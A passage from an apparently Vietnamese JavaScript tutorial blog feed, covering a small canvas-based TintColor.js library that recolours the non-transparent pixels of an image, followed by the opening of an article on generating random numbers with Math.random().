keyword">this</span><span class="token punctuation">.</span>_srcImage <span class="token operator">=</span> _srcImage<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">setTintColorArray</span><span class="token punctuation">(</span><span class="token parameter">_tintColor</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_tintColorArray <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">_getRGBAArray</span><span class="token punctuation">(</span>_tintColor<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> canvas <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">"canvas"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> context <span class="token operator">=</span> canvas<span class="token punctuation">.</span><span class="token function">getContext</span><span class="token punctuation">(</span><span class="token string">"2d"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> image <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Image</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> image<span class="token punctuation">.</span>crossOrigin <span class="token operator">=</span> <span class="token string">"Anonymous"</span><span class="token punctuation">;</span> image<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> canvas<span class="token punctuation">.</span>width <span class="token operator">=</span> image<span class="token punctuation">.</span>width<span class="token punctuation">;</span> canvas<span class="token punctuation">.</span>height <span class="token operator">=</span> image<span class="token punctuation">.</span>height<span class="token punctuation">;</span> context<span class="token punctuation">.</span><span class="token function">drawImage</span><span class="token punctuation">(</span>image<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> canvas<span class="token punctuation">.</span>width<span class="token punctuation">,</span> canvas<span class="token punctuation">.</span>height<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> imgData <span class="token operator">=</span> context<span class="token punctuation">.</span><span class="token function">getImageData</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> canvas<span class="token punctuation">.</span>width<span class="token punctuation">,</span> canvas<span class="token punctuation">.</span>height<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> data <span class="token operator">=</span> imgData<span class="token punctuation">.</span>data<span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> data<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i <span class="token operator">+=</span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Change color of pixel which is different from transparent</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">[</span>i <span class="token operator">+</span> <span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">||</span> data<span class="token punctuation">[</span>i <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">||</span> data<span class="token punctuation">[</span>i <span class="token operator">+</span> <span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">||</span> data<span class="token punctuation">[</span>i <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> data<span class="token punctuation">[</span>i <span class="token operator">+</span> <span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_tintColorArray<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span> data<span class="token punctuation">[</span>i <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_tintColorArray<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> data<span class="token punctuation">[</span>i <span class="token operator">+</span> <span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_tintColorArray<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> data<span class="token punctuation">[</span>i <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_tintColorArray<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> context<span class="token punctuation">.</span><span class="token function">putImageData</span><span class="token punctuation">(</span>imgData<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">url</span><span class="token operator">:</span> canvas<span class="token punctuation">.</span><span class="token function">toDataURL</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token literal-property property">width</span><span class="token operator">:</span> image<span class="token punctuation">.</span>width<span class="token punctuation">,</span> <span class="token literal-property property">height</span><span class="token operator">:</span> image<span class="token punctuation">.</span>height<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> image<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>_srcImage<span class="token punctuation">,</span> error<span class="token punctuation">)</span><span class="token punctuation">;</span> image<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_srcImage<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">_getRGBAArray</span><span class="token punctuation">(</span><span class="token parameter">color</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Check input as rgba/rgb color</span> <span class="token keyword">let</span> m <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d+(?:\.\d+)?)\s*)?\)$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span> color <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>m<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>m<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token punctuation">[</span>m<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> m<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> m<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> m<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">*</span> <span class="token number">255</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">[</span>m<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> m<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> m<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">255</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Check input as hex 6-digit color</span> m <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span>color<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>m<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">[</span><span class="token function">parseInt</span><span class="token punctuation">(</span>m<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">parseInt</span><span class="token punctuation">(</span>m<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">parseInt</span><span class="token punctuation">(</span>m<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">255</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h4 id="hàm-khởi-tạo" style="position:relative;"><a href="#h%C3%A0m-kh%E1%BB%9Fi-t%E1%BA%A1o" aria-label="hàm khởi tạo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm khởi tạo</h4> <p><strong>TintColor(srcImage, tintColor)</strong></p> <p>Trong đó:</p> <ul> <li> <p><strong>srcImage</strong>: (<a href="/kieu-du-lieu-trong-javascript/">string</a>) là đường dẫn đến bức ảnh, có thể là đường dẫn tương đối đến một vị trí trên server hoặc đường dẫn tuyệt đối đến một host (cdn) lưu trữ ảnh.</p> </li> <li> <p><strong>tintColor</strong>: (string) là mã màu mới dạng HEX hoặc RGB hay RGBA. Ví dụ: <em>#ff00ff</em> hoặc <em>rgb(255, 0, 255)</em> hay <em>rgba(255, 0, 255, 0.5)</em>.</p> </li> </ul> <h4 id="các-hàm-setter" style="position:relative;"><a href="#c%C3%A1c-h%C3%A0m-setter" aria-label="các hàm setter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các hàm setter</h4> <ul> <li><strong>setSourceImage(srcImage)</strong></li> <li><strong>setTintColorArray(tintColor)</strong></li> </ul> <p>Mục đích của những hàm này là để set lại các thông số url của ảnh, mã màu mới.</p> <h3 id="hàm-run" style="position:relative;"><a href="#h%C3%A0m-run" aria-label="hàm run permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm run()</h3> <p>Hàm này là hàm quan trọng nhất. Nó sẽ load ảnh lên, sau đó thay thế tất cả các điểm ảnh khác transparent thành mã màu mới. Kết quả trả về sẽ là <strong>dataURL</strong> của bức ảnh mới và kích thước (width, height) của bức ảnh.</p> <h3 id="cách-sử-dụng-tintcolorjs" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-tintcolorjs" aria-label="cách sử dụng tintcolorjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng TintColor.js</h3> <p><a href="https://codepen.io/completejavascript/pen/vpWyjG"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/vpWyjG/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Trước tiên mình sẽ hiển thị ảnh gốc.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> $ <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>document<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setImage</span><span class="token punctuation">(</span><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#originImg"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> srcImg<span class="token punctuation">,</span> <span class="token number">150</span><span class="token punctuation">,</span> <span class="token number">150</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">setImage</span><span class="token punctuation">(</span><span class="token parameter">divElement<span class="token punctuation">,</span> srcURL<span class="token punctuation">,</span> width<span class="token punctuation">,</span> height</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> divElement<span class="token punctuation">.</span>style<span class="token punctuation">.</span>width <span class="token operator">=</span> width <span class="token operator">+</span> <span class="token string">"px"</span><span class="token punctuation">;</span> divElement<span class="token punctuation">.</span>style<span class="token punctuation">.</span>height <span class="token operator">=</span> height <span class="token operator">+</span> <span class="token string">"px"</span><span class="token punctuation">;</span> divElement<span class="token punctuation">.</span>style<span class="token punctuation">.</span>backgroundImage <span class="token operator">=</span> <span class="token string">"url('"</span> <span class="token operator">+</span> srcURL <span class="token operator">+</span> <span class="token string">"')"</span><span class="token punctuation">;</span> divElement<span class="token punctuation">.</span>style<span class="token punctuation">.</span>backgroundSize <span class="token operator">=</span> <span class="token string">""</span> <span class="token operator">+</span> width <span class="token operator">+</span> <span class="token string">"px "</span> <span class="token operator">+</span> height <span class="token operator">+</span> <span class="token string">"px"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó, hàm setImage() áp dụng <a href="/co-ban-ve-dom-javascript/">DOM</a> để set lại giá trị width, height, url cho thẻ div hiển thị bức ảnh.</p> <p>Tiếp theo, mình sẽ sử dụng <strong>TintColor.js</strong> để thay đổi màu sắc của bức ảnh. Ở đây, mình thử với cả 3 loại mã màu khác nhau là: HEX, RGB và RGBA.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">TintColor</span><span class="token punctuation">(</span>srcImg<span class="token punctuation">,</span> <span class="token string">"#ff0000"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setImage</span><span class="token punctuation">(</span><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#newImg1"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> result<span class="token punctuation">.</span>url<span class="token punctuation">,</span> <span class="token number">150</span><span class="token punctuation">,</span> <span class="token number">150</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">new</span> <span class="token class-name">TintColor</span><span class="token punctuation">(</span>srcImg<span class="token punctuation">,</span> <span class="token string">"rgba(255, 0, 255, 0.8)"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setImage</span><span class="token punctuation">(</span><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#newImg2"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> result<span class="token punctuation">.</span>url<span class="token punctuation">,</span> <span class="token number">150</span><span class="token punctuation">,</span> <span class="token number">150</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">new</span> <span class="token class-name">TintColor</span><span class="token punctuation">(</span>srcImg<span class="token punctuation">,</span> <span class="token string">"rgb(127, 127, 255)"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setImage</span><span class="token punctuation">(</span><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#newImg3"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> result<span class="token punctuation">.</span>url<span class="token punctuation">,</span> <span class="token number">150</span><span class="token punctuation">,</span> <span class="token number">150</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Bạn có thể thấy là cách sử dụng TintColor.js rất là đơn giản phải không ạ!</p> <p>Tuy nhiên, mình rất mong muốn nhận được phản hồi của bạn đọc để có thể cải tiến và hoàn thiện thư viện này. Vì vậy, mình sẽ vui khi nhận được phản hồi của bạn.</p> <p>Xin chào và hẹn gặp lại bạn ở <a href="/javascript-web-worker-javascript-o-background/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Tạo số ngẫu nhiên trong JavaScript]]><![CDATA[Có thể bạn đã biết hoặc chưa biết về các cách tạo số ngẫu nhiên trong JavaScript. Tuy nhiên, bài viết này mình sẽ tổng hợp lại một số biến thể của việc tạo số ngẫu nhiên với phương…]]>https://completejavascript.com/tao-so-ngau-nhien-trong-javascript/https://completejavascript.com/tao-so-ngau-nhien-trong-javascript/<![CDATA[Thuật toán]]>Fri, 05 Jan 2018 06:00:00 GMT<p>Có thể bạn đã biết hoặc chưa biết về các cách tạo số ngẫu nhiên trong JavaScript. Tuy nhiên, bài viết này mình sẽ tổng hợp lại một số biến thể của việc tạo số ngẫu nhiên với phương thức <strong>Math.random()</strong>, cũng như các ứng dụng của chúng trong lập trình JavaScript.</p> <h2 id="các-phương-thức-tạo-số-ngẫu-nhiên-trong-javascript" style="position:relative;"><a href="#c%C3%A1c-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-t%E1%BA%A1o-s%E1%BB%91-ng%E1%BA%ABu-nhi%C3%AAn-trong-javascript" aria-label="các phương thức tạo số ngẫu nhiên trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phương thức tạo số ngẫu nhiên trong JavaScript</h2> <p>Trước khi bắt đầu, mình cùng điểm qua một số <a href="/ham-la-gi-ham-trong-javascript/">phương thức</a> tạo số ngẫu nhiên trong JavaScript.</p> <p>Theo mình biết, JavaScript có hai phương thức tạo số ngẫu nhiên là: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a> và <a href="https://developer.mozilla.org/en-US/docs/Web/API/Crypto/getRandomValues">window.crypto.getRandomValues()</a>.</p> <p>Trong đó, phương thức <strong>Math.random()</strong> đơn giản và thường hay được sử dụng. Tuy nhiên, phương thức này không an toàn. Vì vậy, nó không được sử dụng trong những bài toán mà số random liên quan đến bảo mật. Thay vào đó, bạn có thể sử dụng phương thức <strong>window.crypto.getRandomValues()</strong>.</p> <blockquote> <p>Math.random() does not provide cryptographically secure random numbers. Do not use them for anything related to security. Use the Web Crypto API instead, and more precisely the window.crypto.getRandomValues() method.</p> </blockquote> <p>Ngoài hai phương án trên, bạn cũng có thể sử dụng thư viện bên thứ 3 như: <a href="https://www.npmjs.com/package/random-js">random-js</a> hoặc tự implement riêng một phương thức random theo cách của bạn.</p> <p>Tuy nhiên, trong phạm vi bài viết này, mình sẽ lựa chọn phương thức cơ bản và phổ biến nhất để giới thiệu với bạn. Đó là <strong>Math.random()</strong>.</p> <h2 id="cơ-bản-về-phương-thức-mathrandom" style="position:relative;"><a href="#c%C6%A1-b%E1%BA%A3n-v%E1%BB%81-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-mathrandom" aria-label="cơ bản về phương thức mathrandom permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cơ bản về phương thức Math.random()</h2> <p>Phương thức Math.random() trả về số thực trong khoảng lớn hơn hoặc bằng 0 và nhỏ hơn 1.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">10</span><span class="token punctuation">;</span> i <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Random number </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>i<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>Math<span class="token punctuation">.</span><span class="token function">random</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Random number 0: 0.6362790593396368 Random number 1: 0.20016914689051535 Random number 2: 0.9761540182954889 Random number 3: 0.7946745165188283 Random number 4: 0.5788527311039566 Random number 5: 0.4805653264156753 Random number 6: 0.12773726117109918 Random number 7: 0.04089013569111888 Random number 8: 0.23153222422299158 Random number 9: 0.5951577021881835 */</span></code></pre></div> <p>Như bạn thấy, kết quả bên trên đều là những số thực ngẫu nhiên lớn hơn hoặc bằng 0 và nhỏ hơn 1.</p> <p>Nhưng nếu mình muốn tạo số ngẫu nhiên lớn hơn 1 thì sao?</p> <h2 id="các-biến-thể-tạo-số-ngẫu-nhiên-trong-javascript" style="position:relative;"><a href="#c%C3%A1c-bi%E1%BA%BFn-th%E1%BB%83-t%E1%BA%A1o-s%E1%BB%91-ng%E1%BA%ABu-nhi%C3%AAn-trong-javascript" aria-label="các biến thể tạo số ngẫu nhiên trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các biến thể tạo số ngẫu nhiên trong JavaScript</h2> <h3 id="tạo-số-ngẫu-nhiên-giữa-2-giá-trị" style="position:relative;"><a href="#t%E1%BA%A1o-s%E1%BB%91-ng%E1%BA%ABu-nhi%C3%AAn-gi%E1%BB%AFa-2-gi%C3%A1-tr%E1%BB%8B" aria-label="tạo số ngẫu nhiên giữa 2 giá trị permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo số ngẫu nhiên giữa 2 giá trị</h3> <p>Để tạo số ngẫu nhiên giữa 2 giá trị <strong>min</strong> và <strong>max</strong>, bạn có thể tùy biến phương thức Math.random() như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">getRandomArbitrary</span> <span class="token operator">=</span> <span 